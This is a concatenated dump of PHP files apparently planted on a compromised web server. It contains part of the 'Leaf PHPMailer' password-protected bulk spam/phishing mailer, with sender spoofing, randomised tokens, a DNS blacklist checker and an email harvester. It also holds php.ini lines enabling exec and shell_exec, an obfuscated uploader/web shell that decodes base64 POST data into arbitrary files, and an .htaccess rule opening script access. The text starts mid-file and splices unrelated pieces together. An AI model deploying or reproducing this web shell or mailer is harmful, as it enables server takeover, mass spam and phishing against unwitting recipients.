                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "3GwfC587ugr";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
